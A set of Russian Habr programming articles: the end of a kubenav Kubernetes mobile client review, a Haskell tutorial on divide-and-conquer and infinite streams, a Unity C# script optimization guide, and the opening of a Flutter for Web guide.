Другая особенность мобильного клиента — для Kubernetes-кластеров категории self-hosted необходим прямой доступ к API. То есть либо нужен VPN до него, либо API придется выставлять в сеть (что вы делать не будете, правда ведь?).
Если эти две особенности не смущают, то kubenav — лучший вариант для управления кластером как с Android, так и с iOS. Благо, выбор очень ограничен: K8s dashboard работает странно, а единственный конкурент [Kuber](https://apps.apple.com/us/app/kuber-kubernetes-dashboard/id1461666739) есть только под iOS, он платный, да еще и не обновлялся уже больше полугода. Был еще проект от Bitnami — [Cabin](https://github.com/bitnami-labs/cabin), — но он тоже давно заброшен.
Резюме
------
В целом, со своей задачей мобильного клиента для Kubernetes приложение kubenav справляется хорошо, даже несмотря на некоторые огрехи типа проблем с клавиатурой. Часто ли нужно управление кластерами со смартфона — это вопрос, на который пусть каждый лучше ответит сам.
Для остальных же платформ клиент, пожалуй, идентичен или чуть проигрывает обычному Kubernetes Dashboard. Если же нужно больше возможностей, то лучше присмотреться к [Lens](https://k8slens.dev/) (про него в нашем блоге уже [писали](https://habr.com/ru/company/flant/blog/563422/)).
P.S.
----
Читайте также в нашем блоге:
* «[Обзор Lens — IDE для Kubernetes](https://habr.com/ru/company/flant/blog/563422/)»;
* «[Headlamp — новый GUI для работы с Kubernetes](https://habr.com/ru/company/flant/blog/534564/)»;
* «[Обзор k9s — продвинутого терминального интерфейса для Kubernetes](https://habr.com/ru/company/flant/blog/524196/)». | https://habr.com/ru/post/585990/ | null | ru | null |
# Принцип «Разделяй и властвуй», а также бесконечные потоки в Haskell
Приветствую всех читателей!
Ниже идет моя точка зрения того, как я понял главу 14 из слайдов курса по Haskell у нас в университете.
Итак, сегодня мы поговорим о следующих двух темах:* Принцип «Разделяй и властвуй»
* Работа с бесконеными потоками
Экспертов в этой области прошу комментировать и поправлять, если будут неточности. Буду рад ответить на вопросы в комментариях.
### Разделяй и властвуй
Наверное вы уже много раз встречались с принципом [«Разделяй и властвуй»](http://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D0%B4%D0%B5%D0%BB%D1%8F%D0%B9_%D0%B8_%D0%B2%D0%BB%D0%B0%D1%81%D1%82%D0%B2%D1%83%D0%B9_(%D0%B8%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B0)) в программировании. Если проблема *элементарна*, то сразу решаем её. Если нет, то делим её на более мелкие «под-проблемы» и выполняем это до тех пор, пока все проблемы не будут элементарными. После решения всех элементарных проблем, их надо обратно «соединить», чтобы получить решение к исходной проблеме.
Пусть проблема (а также все под-проблемы) имеет тип `p`, а все решения имеют тип `s`. Требуется найти функцию высшего порядка `divideAndConquer` которая принимает какую-либо проблему типа `p` и как результат выдаёт решение типа `s`. Для этого нам понадобятся вспомогательные функции (= элементы divideAndConquer), которые реализуют работу алгоритма divideAndConquer, а именно:
```
indiv :: p -> Bool
```
Эта функция отвечает на вопрос: «можно ли поделить проблему на несколько под-проблем?». Если да, то возвращаем True. Если нет, то данная проблема элементарна, и её можно решить с помощю функции `solve`.
```
solve :: p -> s
```
Как видно из названия, эта функция решает элементарую проблему и выдаёт решение типа `s`.
```
divide :: p -> [p]
```
Если проблема не элементарна, то делим её на некоторое множество под-проблем, т.е. из одной проблемы `p` делаем много проблем `[p]`, которые решить намного проще.
```
combine :: p -> [s] -> s
```
После решения всех элементарных проблем, надо их собрать в единое решение. Для чего здесь `p` спросите вы? Иногда, часть проблемы уже содержит часть решения, которое необходимо использовать для окончательного ответа (это мы увидим в примере ниже).
Итак, как же выглядит эта универсальная фукнция `divideAndConquer`? Определение функции выглядит следующим образом:
```
divideAndConquer :: (p -> Bool) -> (p -> s) -> (p -> [p]) -> (p -> [s] -> s) -> p -> s
```
Т.е. функция состоит из четырех основных элементов, описанных выше, и той проблемы, с которой начнется деление. На выходе имеем решение типа `s`. А вот и сама функция:
```
divideAndConquer :: (p -> Bool) -> (p -> s) -> (p -> [p]) -> (p -> [s] -> s) -> p -> s
divideAndConquer indiv solve divide combine initPb = dAC initPb
where
dAC pb
| indiv pb = solve pb
| otherwise = combine pb (map dAC (divide pb))
```
Если проблема (pb) не делится на более мелкие под-проблемы, то решаем её `indiv pb = solve pb`. Если делится, то делим эту проблему, решаем её и комбинирует получившиеся результаты.
Давайте на примере `quickSort` посмотрим как применить такую функцию. Функция быстрой сортировки принимает массив элементов, которые можно сравнивать и выдаёт массив с теми же элементами, но в отсортированном порядке:
```
quickSort :: Ord a => [a] -> [a]
```
Теперь надо бы определиться с нашими четыремя элементами алгоритма `divideAndConquer` конкретно для Быстрой сортировки. Проблема считается тогда не делимой (=indiv), когда длина массива меньше или равна 1. В быстрой сортировке нет как такового решения (=solve) под проблемы, т.к. если длина массива равна 1, то этот массив отсортирован. Делить (=divide) массив можно следующим образом: берем первый элемент и формируем два массива — один со всеми элементами <= первого элемента, второй со всеми элементами > первого элемента. Отсортированные массивы комбинируем (=combine) следующим образом: первый элемент помещается в середину, слева от него идут все числа меньше данного элемента, а справа все числа больше данного элемента.
Определив основные четыре состовляющие divideAndConquer, можно смело писать функцию:
```
quickSort :: Ord a => [a] -> [a]
quickSort lst = divideAndConquer indiv solve divide combine lst
where
indiv ls = length ls <= 1
solve = id
divide (l:ls) = [[x | x <- ls, x <= l], [x | x <- ls, x > l]]
combine (l:_) [l1,l2] = l1 ++ [l] ++ l2
```
Этот способ можно применять не только к Quicksort, но и для других алгоритмов сортировки, например Mergesort (и не только для сортировки). Но не надо заблуждаться, что если проблему можно решить с помощью divide and conquer, то это будет самым эффективным решением. Это можно увидеть на примере чисел Фибоначчи. Функция возвращает n-ое число из ряда Фибоначчи:
```
fib :: Integer -> Integer
fib n = divideAndConquer indiv solve divide combine n
where
indiv n = (n==0) || (n==1)
solve n
| n == 0 = 0
| n == 1 = 1
| otherwise = error "Input argument must be >= 0"
divide n = [n-2, n-1]
combine _ [l1,l2] = l1 + l2
```
К сожалению, эта функция имеет экспоненциальную сложность, и есть более эффективные способы решения этой задачи.
##### Заключение
Алгоритм `divideAndConquer` состоит из 4 состовляющих: `indiv, solve, divide, combine`. Если для какой-то проблемы вы можете их все определить, то можете спокойно использовать этот метод. Однако не стоит забывать, что «разделяй и властвуй» не всегда является оптимальным решением проблемы.
### Бесконечные потоки
Одной из особенностей Haskell является то, что он может работать с бесконечными потоками. Поток в данном случае является синонимом «бесконечного массива» (англ. lazy list). Например, `[1..]` представляет собой массив всех натуральных чисел. Такие потоки позволяют выполнять «отложенные вычисления» (англ. lazy evaluation).
Попробуем написать алгоритм который выдаёт *все* простые числа (=поток простых чисел). Простое число будем вычислять с помощью [Решета Эратосфена](http://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D1%88%D0%B5%D1%82%D0%BE_%D0%AD%D1%80%D0%B0%D1%82%D0%BE%D1%81%D1%84%D0%B5%D0%BD%D0%B0). Идея в том, что есть массив всех натуральных чисел от двух до «бесконечности». Самое левое число — всегда простое число. Каждый раз, когда мы берем простое число то вычёркиваем из списка все те числа, которые делятся на это число без остатка, т.е. начинаем с:
`2, 3, 4, 5, 6, 7, 8, 9, 10, 11...`
Число 2 — простое, вычеркиваем все числа, которые деляться на 2:
`2, 3, 5, 7, 9, 11...`
Число 3 — простое, вычеркиваем все числа, которые делятся на 3:
`2, 3, 5, 7, 11...`
и т.д.
Решето (=sieve) принимает массив и выполняет вышеописанные операции:
```
sieve :: [Integer] -> [Integer]
sieve (x:xs) = x : sieve [y | y <- xs, mod y x > 0]
```
Теперь поток простых чисел (=primes) можно записать следующим образом:
```
primes :: [Integer]
primes = sieve [2..]
```
Теперь при вызове `primes` в консоль будут выходить простые числа. Как же это работает?
`primes`
`->> sieve [2..]`
`->> 2 : sieve [y | y <- [3..], mod y 2 > 0]`
`->> 2 : 3 : sieve [z | z <- [y | y <- [4..], mod y 2 >0], mod z 3 > 0]`
`->> ...`
`->> 2 : 3 : sieve [ z | z <- [5, 7, 9..], mod z 3 > 0]`
`->> ...`
`->> 2 : 3 : sieve [5, 7, 11, ...`
`->> ...`
«Ну, хорошо, а дальше что?» — спросите вы. Как работать с такими потоками, какие операции можно с ними выполнять?
Есть так называемый принцип «выборки», который позволяет выбрать из бесконенчого потока лишь несколько элементов, например:* `take 5 primes ->> [2,3,5,7,11]` первые 5 простых чисел
* `primes !! 42 ->> 191` 42ое простое число
* `((take 5) . (drop 5)) primes ->> [13,17,19,23,29]` простые числа с 6го по 10ое
Принцип «фильтрации», который позволяет выбрать подмножество множества простых чисел, например:* `filter (>1000) primes ->> [1009,1013,1019,...` все простые числа больше 1000
* `[n | n <- primes, hasThreeOnes n] ->> [1117,1151,1171,1181,1511,...` все простые числа, где встречаются три единички (реализация функции `hasThreeOnes` оставляется на вооброжение читателя)
Маленькое примечание к этому типу: `filter (<10) primes ->> [2,3,5,7,` никогда не завершит своего выполнения, т.к. filter не знает, будут ли числа меньше 10 или нет и продолжает их искать. Для возрастающих функций это можно сделать так: `takeWhile (<10) primes ->> [2,3,5,7]`.
Принцип «трансформации», который для каждого числа потока выполняет определённое действие, например:* `[n*n | n <- primes] ->> [4,9,25,49,...` поток квадратов простых чисел
* `[n-1 | n <- primes] ->> [1,2,4,6,...` поток предшественников простых чисел
* `[sum [2..n] | n <- primes] ->> [2,5,14,27,65,90,...` поток сумм натуральных чисел от двойки до простого
##### Заключение
Потоки довольно полезная вещь в функциональных языках, но использовать их надо с осторожностью. Три основных принципа для потоков:* выборка
* фильтрация
* трансформация | https://habr.com/ru/post/162657/ | null | ru | null |
# Как мы оптимизировали скрипты в Unity
Существует множество отличных статей и туториалов о производительности в Unity. Этой статьёй мы не пытаемся заменить или улучшить их, это всего лишь краткое изложение шагов, сделанных нами после прочтения этих статей, а также шагов, позволивших решить наши проблемы. Настоятельно рекомендую вам как минимум изучить материалы на <https://learn.unity.com/>.
В процессе разработки своей игры мы столкнулись с проблемами, время от времени вызывавшими торможения игрового процесса. Потратив какое-то время в Unity Profiler, мы обнаружили два типа проблем:
* Неоптимизированные шейдеры
* Неоптимизированные скрипты на C#
Большинство проблем было вызвано второй группой, поэтому я решил сосредоточиться в этой статье на скриптах C# (возможно, ещё и потому, что за свою жизнь я не написал ни единого шейдера).
Поиск слабых мест
=================
Цель этой статьи — не написать туториал по использованию профилировщика; я хотел просто рассказать о том, что нас в основном интересовало в процессе профилирования.
**Unity Profiler — всегда самый лучший способ** поиска причин задержек в скриптах. Настоятельно рекомендую **профилировать игру непосредственно в устройстве**, а не в редакторе. Поскольку наша игра создавалась для iOS, мне нужно было подключить устройство и использовать показанные на изображении Build Settings, после чего профилировщик подключался автоматически.
*Build Settings (параметры сборки) для профилирования*
Если вы попробуете загуглить «Random lag in Unity» или другой похожий запрос, то обнаружите, что большинство людей рекомендует **сосредоточиться на сборке мусора**, поэтому именно так я и поступил. Мусор генерируется каждый раз, когда вы прекращаете использовать какой-то объект (экземпляр класса), после чего время от времени запускается сборщик мусора Unity для уборки беспорядка и освобождения памяти, что требует безумного количества времени и приводит к падению частоты кадров.
Как найти в профилировщике скрипты, вызывающие появление мусора?
----------------------------------------------------------------
Просто выберите CPU Usage -> Choose Hierarchy view -> Sort by GC Alloc
*Параметры Profiler для сборки мусора*
Ваша задача — добиться одних нулей в столбце GC alloc для геймплейной сцены.
Ещё один хороший способ — **отсортировать записи по «Time ms»** (времени исполнения) и оптимизировать скрипты, чтобы они занимали как можно меньше времени. Этот шаг имел для нас огромное влияние, потому что один из наших компонентов содержал **большой цикл for**, для выполнения которого требовалась целая вечность (да, мы пока не нашли способа избавиться от цикла), поэтому оптимизация времени выполнения всех скриптов была для нас абсолютно необходима, ведь нам требовалось сэкономить время выполнения на этом затратном цикле for, сохраняя при этом стабильную частоту в 60 fps.
На основании данных профилирования я разделил оптимизацию на две части:
* Избавление от мусора
* Снижение времени выполнения
Часть 1: боремся с мусором
==========================
В этой части я расскажу, что мы делали, чтобы избавиться от мусора. Это самые фундаментальные знания, которые должен понимать любой разработчик; они стали важной частью нашего ежедневного анализа в каждом pull/merge request.
Первое правило: никаких новых объектов в методах Update
-------------------------------------------------------
В идеале методы **Update, FixedUpdate и LateUpdate не должны содержать ключевых слов «new»**. Всегда нужно использовать то, что у вас уже есть.
Иногда **создание нового объекта сокрыто** в некоторых внутренних методах Unity, поэтому оно не так очевидно. Мы расскажем об этом позже.
Второе правило: создавать один раз и использовать многократно!
--------------------------------------------------------------
По сути, это означает, что выделять память для всего, что можно, следует в методах Start и Awake. Это правило очень похоже на первое. На самом деле это просто ещё один способ устранения ключевых слов «new» из методов Update.
Код, который:
* создаёт новые экземпляры
* ищет какие-нибудь игровые объекты
следует всегда стараться перемещать из методов Update в Start или Awake.
Вот примеры внесённых нами изменений:
Выделение памяти под списки в методе Start, их очистка (Clear) и повторное использование при необходимости.
```
//Bad code
private List objectsList;
void Update()
{
objectsList = new List();
objectsList.Add(......)
}
//Better Code
private List objectsList;
void Start()
{
objectsList = new List();
}
void Update()
{
objectsList.Clear();
objectsList.Add(......)
}
```
Хранение ссылок и повторное использование их следующим образом:
```
//Bad code
void Update()
{
var levelObstacles = FindObjectsOfType();
foreach(var obstacle in levelObstacles) { ....... }
}
//Better code
private Object[] levelObstacles;
void Start()
{
levelObstacles = FindObjectsOfType();
}
void Update()
{
foreach(var obstacle in levelObstacles) { ....... }
}
```
То же относится к методу FindGameObjectsWithTag или любому другому методу, возвращающему новый массив.
Третье правило: остерегайтесь строк и избегайте их конкатенации
---------------------------------------------------------------
Когда дело доходит до создания мусора, то строки ужасны. Даже простейшие операции со строками могут создавать много мусора. Почему? Строки — это просто массивы, и эти массивы неизменяемы (immutable). Это означает, что каждый раз, когда вы конкатенируете две строки, создаётся новый массив, а старый превращается в мусор. К счастью, можно использовать StringBuilder, чтобы избежать или минимизировать такое создание мусора.
Вот пример того, как можно улучшить ситуацию:
```
//Bad code
void Start()
{
text = GetComponent();
}
void Update()
{
text.text = "Player " + name + " has score " + score.toString();
}
//Better code
void Start()
{
text = GetComponent();
builder = new StringBuilder(50);
}
void Update()
{
//StringBuilder has overloaded Append method for all types
builder.Length = 0;
builder.Append("Player ");
builder.Append(name);
builder.Append(" has score ");
builder.Append(score);
text.text = builder.ToString();
}
```
С показанным выше примером всё в порядке, но в нём есть ещё много возможностей для улучшения кода. Как видите, почти всю строку можно считать статической. Мы разделяем строку на две части для двух объектов UI.Text. Сначала одна содержит только статический текст **«Player » + name + " has score "**, который можно назначить в методе Start, а вторая содержит значение счёта, которое обновляется в каждом кадре. **Всегда делайте статические строки действительно статическими и генерируйте их в методе Start или Awake**. После этого усовершенствования почти всё в порядке, но по-прежнему генерируется немного мусора при вызове Int.ToString(), Float.ToString() и т.п.
Мы решили эту проблему генерацией и предварительным выделением памяти под все возможные строки. Это может показаться глупой тратой памяти, но такое решение идеально соответствует нашим потребностям и полностью решает проблему. Итак, в конечном итоге мы получили статический массив, доступ к которому можно напрямую получать доступ при помощи индексов, чтобы брать нужную строку, обозначающую число:
```
public static readonly string[] NUMBERS_THREE_DECIMAL = {
"000", "001", "002", "003", "004", "005", "006",..........
```
Четвёртое правило: кешировать значения, возвращаемые методами доступа
---------------------------------------------------------------------
Это может быть очень сложно, потому что даже простой метод доступа (accessor), наподобие показанного ниже, генерирует мусор:
```
//Bad Code
void Update()
{
gameObject.tag;
//or
gameObject.name;
}
```
Старайтесь избегать использования методов доступа в методе Update. Вызывайте метод доступа только один раз в методе Start и кешируйте возвращаемое значение.
В общем случае я рекомендую **НЕ вызывать никаких методов доступа к строкам или методов доступа к массивам в методе Update**. В большинстве случаев достаточно **один раз получить ссылку в методе Start**.
Вот ещё два распространённых примера ещё одного неоптимизированного кода методов доступа:
```
//Bad Code
void Update()
{
//Allocates new array containing all touches
Input.touches[0];
}
//Better Code
void Update()
{
Input.GetTouch(0);
}
//Bad Code
void Update()
{
//Returns new string(garbage) and compare the two strings
gameObject.Tag == "MyTag";
}
//Better Code
void Update()
{
gameObject.CompareTag("MyTag");
}
```
Пятое правило: используйте функции, не выполняющие выделение памяти
-------------------------------------------------------------------
Для некоторых функций Unity можно найти альтернативы, не выделяющие память. В нашем случае все эти функции связаны с физикой. Наше распознавание коллизий основано на
```
Physics2D. CircleCast();
```
Для этого конкретного случая можно найти не выделяющую память функцию под названием
```
Physics2D. CircleCastNonAlloc();
```
Многие другие функции тоже имеют подобные альтернативы, поэтому **всегда проверяйте в документации наличие NonAlloc-функций**.
Шестое правило: не используйте LINQ
-----------------------------------
Просто не делайте этого. Я имею в виду, что не нужно использовать его в любом коде, который выполняется часто. Знаю, при использовании LINQ код проще читается, но во многих случаях производительность и выделение памяти такого кода ужасны. Разумеется, его можно иногда использовать, но, если честно, в своей игре мы вообще не применяем LINQ.
Седьмое правило: создавать один раз и использовать многократно, часть 2
-----------------------------------------------------------------------
На этот раз речь идёт о пулинге объектов. Я не буду вдаваться в подробности пулинга, потому что об этом говорилось много раз, например, изучите этот туториал: <https://learn.unity.com/tutorial/object-pooling>
В нашем случае используется следующий сценарий пулинга объектов. У нас есть сгенерированный уровень, заполненный препятствиями, существующими в течение определённого периода времени, пока игрок не пройдёт эту часть уровня. Экземпляры таких препятствий создаются из префабов в случае соблюдения определённых условий. Код находится в методе Update. Этот код совершенно неэффективен с точки зрения памяти и времени выполнения. Мы решили проблему, сгенерировав пул из 40 препятствий: при необходимости мы получаем препятствия из пула и возвращаем объект обратно в пул, когда он больше не нужен.
Восьмое правило: внимательнее с упаковкой-преобразованием (Boxing)!
-------------------------------------------------------------------
Boxing генерирует мусор! Но что такое boxing? Чаще всего boxing возникает, когда вы передаёте тип значения (int, float, bool и т.д.) в функцию, которая ожидает параметр типа Object.
Вот пример boxing-а который нам нужно исправить в нашем проекте:
Мы реализовали в проекте собственную систему сообщений. Каждое сообщение может содержать неограниченное количество данных. Данные хранятся в словаре, задаваемом следующим образом:
```
Dictionary data;
```
Также у нас есть сеттер, задающий значения в этом словаре:
```
public Action SetAttribute(string attribute, object value)
{
data[attribute] = value;
}
```
Boxing здесь довольно очевиден. Можно вызвать функцию следующим образом:
```
SetAttribute("my_int_value", 12);
```
Тогда значение «12» подвергается boxing-у и это генерирует мусор.
Мы решили проблему, создав отдельные контейнеры данных для каждого примитивного типа, а предыдущий контейнер Object используется только для типов-ссылок.
```
Dictionary data;
Dictionary dataBool;
Dictionary dataInt;
.......
```
Также у нас есть отдельные сеттеры для каждого типа данных:
```
SetBoolAttribute(string attribute, bool value)
SetIntAttribute(string attribute, int value)
```
И все эти сеттеры реализованы таким образом, что вызывают одинаковую обобщённую функцию:
```
SetAttribute(ref Dictionary dict, string attribute, T value)
```
Проблема boxing-а решена!
Подробнее об этом можно прочитать в статье <https://docs.microsoft.com/cs-cz/dotnet/csharp/programming-guide/types/boxing-and-unboxing>.
Девятое правило: циклы всегда под подозрением
---------------------------------------------
Это правило очень похоже на первое и второе. Просто старайтесь убрать весь необязательный код из циклов из соображений производительности и выделения памяти.
В общем случае мы стремимся избавиться от циклов в методах Update, но если без них не обойтись, то мы по крайней мере избегаем любого выделения памяти в таких циклах. Итак, следуйте **правилам 1–8 и примените их к циклам** в целом, а не только в методах Update.
Десятое правило: никакого мусора во внешних библиотеках
-------------------------------------------------------
В случае, если выяснится, что часть мусора генерируется кодом, скачанным из Asset store, то у этой проблемы есть множество вариантов решения. Но прежде чем выполнять реверс-инжиниринг и отладку, просто снова зайдите в Asset store и обновите библитеку. В нашем случае все используемые ассеты по-прежнему поддерживались авторами, продолжающими выпускать улучшающие производительность обновления, поэтому это решило все наши проблемы. **Зависимости должны быть актуальными!** Я лучше избавлюсь от библиотеки, чем сохраню неподдерживаемую.
Часть 2: максимально снижаем время выполнения
=============================================
Некоторые из представленных выше правил вносят едва заметную разницу, если код вызывается редко. В нашем коде есть один большой цикл, выполняемый в каждом кадре, поэтому даже эти небольшие изменения оказали огромный эффект.
Некоторые из таких изменений при неверном использовании или в неподходящей ситуации могут приводить к ещё большему ухудшению времени выполнения. **Всегда проверяйте профилировщик после внесения в код каждой оптимизации, чтобы убедиться, что вы двигаетесь в верном направлении**.
Честно говоря, некоторые из **этих правил приводят к гораздо хуже читаемому коду**, а иногда даже **нарушают рекомендации**, например, упомянутое в одном из представленных ниже правил встраивание кода.
Многие из этих правил пересекаются с представленными в первой части статьи. Обычно производительность создающего мусор кода ниже по сравнению с кодом без создания мусора.
Первое правило: правильный порядок выполнения
---------------------------------------------
**Переместите код из методов FixedUpdate, Update, LateUpdate в методы Start и Awake**. Знаю, это звучит безумно, но поверьте, если вы углубитесь в свой код, то найдёте сотни строк кода, которые можно переместить в методы, исполняемые только один раз.
В нашем случае такой код обычно связан с
* Вызовами GetComponent<>
* Вычислениями, которые на самом деле возвращают в каждом кадре одинаковый результат
* Многократным созданием экземпляров одних и тех же объектов, обычно списков
* Поиском GameObjects
* Получением ссылок на Transform и использованием других методов доступа
Вот список примеров кода, который мы переместили из методов Update в методы Start:
```
//There must be a good reason to keep GetComponent in Update
gameObject.GetComponent();
gameObject.GetComponent();
//Examples of calculations returning same result every frame
Mathf.FloorToInt(Screen.width / 2);
var width = 2f \* mainCamera.orthographicSize \* mainCamera.aspect;
var castRadius = circleCollider.radius \* transform.lossyScale.x;
var halfSize = GetComponent().bounds.size.x / 2f;
//Finding objects
var levelObstacles = FindObjectsOfType();
var levelCollectibles = FindGameObjectsWithTag("COLLECTIBLE");
//References
objectTransform = gameObject.transform;
mainCamera = Camera.main;
```
Второе правило: выполняйте код только тогда, когда это необходимо
-----------------------------------------------------------------
В нашем случае это в основном относилось к скриптам обновления UI. Вот пример того, как мы изменили реализацию кода, отображающего текущее состояние собираемых предметов на уровне.
```
//Bad code
Text text;
GameState gameState;
void Start()
{
gameState = StoreProvider.Get();
text = GetComponent();
}
void Update()
{
text.text = gameState.CollectedCollectibles.ToString();
}
```
Так как на каждом уровне есть всего несколько собираемых предметов, то не имеет никакого смысла изменять текст UI в каждом кадре. Поэтому мы изменяем текст только при изменении числа.
```
//Better code
Text text;
GameState gameState;
int collectiblesCount;
void Start()
{
gameState = StoreProvider.Get();
text = GetComponent();
collectiblesCount = gameState.CollectedCollectibles;
}
void Update()
{
if(collectiblesCount != gameState.CollectedCollectibles) {
//This code is ran only about 5 times each level
collectiblesCount = gameState.CollectedCollectibles;
text.text = collectiblesCount.ToString();
}
}
```
Этот код гораздо лучше, особенно если действия намного сложнее, чем простое изменение UI.
Если вы ищете более комплексное решение, то рекомендую реализовать [шаблон «Наблюдатель»](https://en.wikipedia.org/wiki/Observer_pattern) при помощи событий C# (<https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/events/>).
Как бы то ни было, этого всё равно было для нас недостаточно, и мы хотели реализовать совершенно обобщённое решение, поэтому создали библиотеку, реализующую [Flux](https://facebook.github.io/flux/) в Unity. Это привело к очень простому решению, при котором всё состояние игры хранится в объекте «Store», а все элементы UI и другие компоненты уведомляются при изменении состояния и реагируют на это изменение без кода в методе Update.
Третье правило: циклы всегда под подозрением
--------------------------------------------
Это точно такое же правило, которое я упоминал в первой части статьи. Если в коде есть какой-то цикл, итеративно обходящий большое количество элементов, то для улучшения производительности цикла используйте оба правила из обеих частей статьи.
Четвёртое правило: For лучше, чем Foreach
-----------------------------------------
Цикл Foreach очень легко написать, но «очень сложно» выполнять. Внутри цикла Foreach используются Enumerator для итеративной обработки набора данных и возврата значения. Это сложнее, чем итерация индексов в простом цикле For.
Поэтому в нашем проекте мы по возможности заменили циклы Foreach на For:
```
//Bad code
foreach (GameObject obstacle in obstacles)
//Better code
var count = obstacles.Count;
for (int i = 0; i < count; i++) {
obstacles[i];
}
```
В нашем случае с большим циклом for это изменение очень значимо. **Простой цикл for ускорил код в два раза**.
Пятое правило: массивы лучше, чем списки
----------------------------------------
В своём коде мы выяснили, что большинство списков (List) имеет постоянную длину или мы можем вычислить максимальное количество элементов. Поэтому мы реализовали их заново на основе массивов и в некоторых случаях это привело к двукратному ускорению итераций над данными.
В некоторых случаях избежать списков или других сложных структур данных нельзя. Случается, что приходится часто добавлять или удалять элементы, и в таком случае лучше использовать списки. Но в общем случае **для списков фиксированной длины всегда следует использовать массивы**.
Шестое правило: операции с Float лучше, чем операции с векторами
----------------------------------------------------------------
Это различие едва заметно, если вы не выполняете тысячи подобных операций, как и было в нашем случае, поэтому для нас увеличение производительности оказалось значимым.
Мы вносили подобные изменения:
```
Vector3 pos1 = new Vector3(1,2,3);
Vector3 pos2 = new Vector3(4,5,6);
//Bad code
var pos3 = pos1 + pos2;
//Better code
var pos3 = new Vector3(pos1.x + pos2.x, pos1.y + pos2.y, ......);
Vector3 pos1 = new Vector3(1,2,3);
//Bad code
var pos2 = pos1 * 2f;
//Better code
var pos2 = new Vector3(pos1.x * 2f, pos1.y * 2f, ......);
```
Седьмое правило: искать объекты правильно
-----------------------------------------
Всегда думайте, действительно ли нужно использовать метод GameObject.Find(). Этот метод тяжёл и занимает безумное количество времени. Никогда не следует использовать такой метод в методах Update. Мы выяснили, что большинство наших вызовов Find можно **заменить прямыми ссылками в редакторе**, что, разумеется, гораздо лучше.
```
//Bad Code
GameObject player;
void Start()
{
player = GameObject.Find("PLAYER");
}
//Better Code
//Assign the reference to the player object in editor
[SerializeField]
GameObject player;
void Start()
{
}
```
В случае, если так сделать невозможно, то хотя бы **рассмотрите возможность использования меток (Tag) и поиска объекта по его метке при помощи GameObject.FindWithTag**.
Итак, в общем случае: **Прямая ссылка > GameObject.FindWithTag() > GameObject.Find()**
Восьмое правило: работайте только с относящимися к делу объектами
-----------------------------------------------------------------
В нашем случае это было важно для распознавания коллизий при помощи RayCast-ов (CircleCast и т.п.). Вместо распознавания коллизий и принятия решения о том, какие из них важны, в коде, **мы переместили игровые объекты на соответствующие слои**, чтобы можно было вычислять коллизии только для нужных объектов.
Вот пример
```
//Bad Code
void DetectCollision()
{
var count = Physics2D.CircleCastNonAlloc(
position, radius, direction, results, distance);
for (int i = 0; i < count; i++) {
var obj = results[i].collider.transform.gameObject;
if(obj.CompareTag("FOO")) {
ProcessCollision(results[i]);
}
}
}
//Better Code
//We added all objects with tag FOO into the same layer
void DetectCollision()
{
//8 is number of the desired layer
var mask = 1 << 8;
var count = Physics2D.CircleCastNonAlloc(
position, radius, direction, results, distance, mask);
for (int i = 0; i < count; i++) {
ProcessCollision(results[i]);
}
}
```
Девятое правило: правильно используйте метки
--------------------------------------------
Нет никаких сомнений, что метки очень полезны и могут улучшить производительность кода, но помните, что **существует только один правильный способ сравнения меток объектов**!
```
//Bad Code
gameObject.Tag == "MyTag";
//Better Code
gameObject.CompareTag("MyTag");
```
Десятое правило: опасайтесь хитростей с камерой!
------------------------------------------------
Так легко использовать **Camera.main**, но производительность этого действия очень плоха. Причина заключается в том, что за кулисами каждого вызова Camera.main движок Unity на самом деле выполняет для получения результата FindGameObjectsWithTag(), поэтому мы уже понимаем, что часто его вызывать не нужно, и лучше всего решить эту проблему, **кешировав ссылку в методе Start** или Awake.
```
//Bad code
void Update()
{
Camera.main.orthographicSize //Some operation with camera
}
//Better Code
private Camera cam;
void Start()
{
cam = Camera.main;
}
void Update()
{
cam.orthographicSize //Some operation with camera
}
```
Одиннадцатое правило: LocalPosition лучше, чем Position
-------------------------------------------------------
**Везде, где это возможно, используйте для геттеров и сеттеров Transform.LocalPosition вместо Transform.Position**. Внутри каждого вызова Transform.Position выполняется гораздо больше операций, например, вычисление глобальной позиции в случае вызова геттера или вычисление локальной позиции из глобальной в случае вызова сеттера. В нашем проекте выяснилось, что можно использовать LocalPositions в 99% случаев использования Transform.Position, и в коде при этом не нужно делать никаких других изменений.
Двенадцатое правило: не использовать LINQ
-----------------------------------------
Об этом уже говорили в первой части. Просто не используйте его, вот и всё.
Тринадцатое правило: не бойтесь (иногда) нарушать правила
---------------------------------------------------------
Иногда даже вызов простой функции может быть слишком затратным. В этом случае всегда следует рассмотреть возможность встраивания кода (Code Inlining). Что это значит? По сути, мы просто берём код из функции и копируем его непосредственно в место, где хотим использовать функцию, чтобы избежать вызовов дополнительных методов.
В большинстве случаев это не окажет никакого влияния, потому что встраивание кода выполняется автоматически на этапе компиляции, но существуют определённые правила, по которым компилятор решает, должен ли встраиваться код (например, виртуальные методы никогда не встраиваются; подробнее об этом см. в <https://docs.unity3d.com/Manual/BestPracticeUnderstandingPerformanceInUnity8.html>). Поэтому просто откройте профилировщик, запустите игру на целевом устройстве и посмотрите, можно ли что-то улучшить.
В нашем случае нашлось несколько функций, которые мы решили встроить для улучшения производительности, особенно в большом цикле for.
Вывод
=====
Применив перечисленные в статье правила, мы легко добились стабильных 60 fps в игре для iOS даже на iPhone 5S. Возможно, некоторые из правил могут быть специфичными только для нашего проекта, но я считаю, что большинство из них стоит помнить при написании кода или его проверке, чтобы избежать проблем в дальнейшем. Всегда лучше постоянно писать код с учётом производительности, чем позже рефакторить большие фрагменты кода. | https://habr.com/ru/post/481980/ | null | ru | null |
# Flutter for Web: гайд для начинающих
*Изначально Flutter был известен как фреймворк для создания кроссплатформенных мобильных приложений для Android и iOS. Но концепция Flutter не ограничивается мобильной разработкой, фреймворк позволяет создавать пользовательские интерфейсы для любого экрана с помощью кроссплатформенной разработки: разрабатывать web и desktop-приложения. Мы в* [*Friflex*](https://friflex.com/) *работаем на* [*Flutter*](https://friflex.com/flutter/) *с момента выхода первой версии и хорошо знаем особенности фреймворка. В этой статье Никита Улько, Flutter fullstack developer в Friflex, рассказывает об особенностях разработки Flutter для Web. Если вы хотите попробовать Flutter для web, этот гайд для вас.*
В этой статье мы пройдем этапы от разработки простого web-приложения до его размещения на сервере. Определим, какие подводные камни могут встретиться при работе с Flutter Web и как их избежать без вреда для проекта. Рассмотрим плюсы и минусы фреймворка, определимся, какие web-приложения стоит создавать на Flutter, а какие нет.
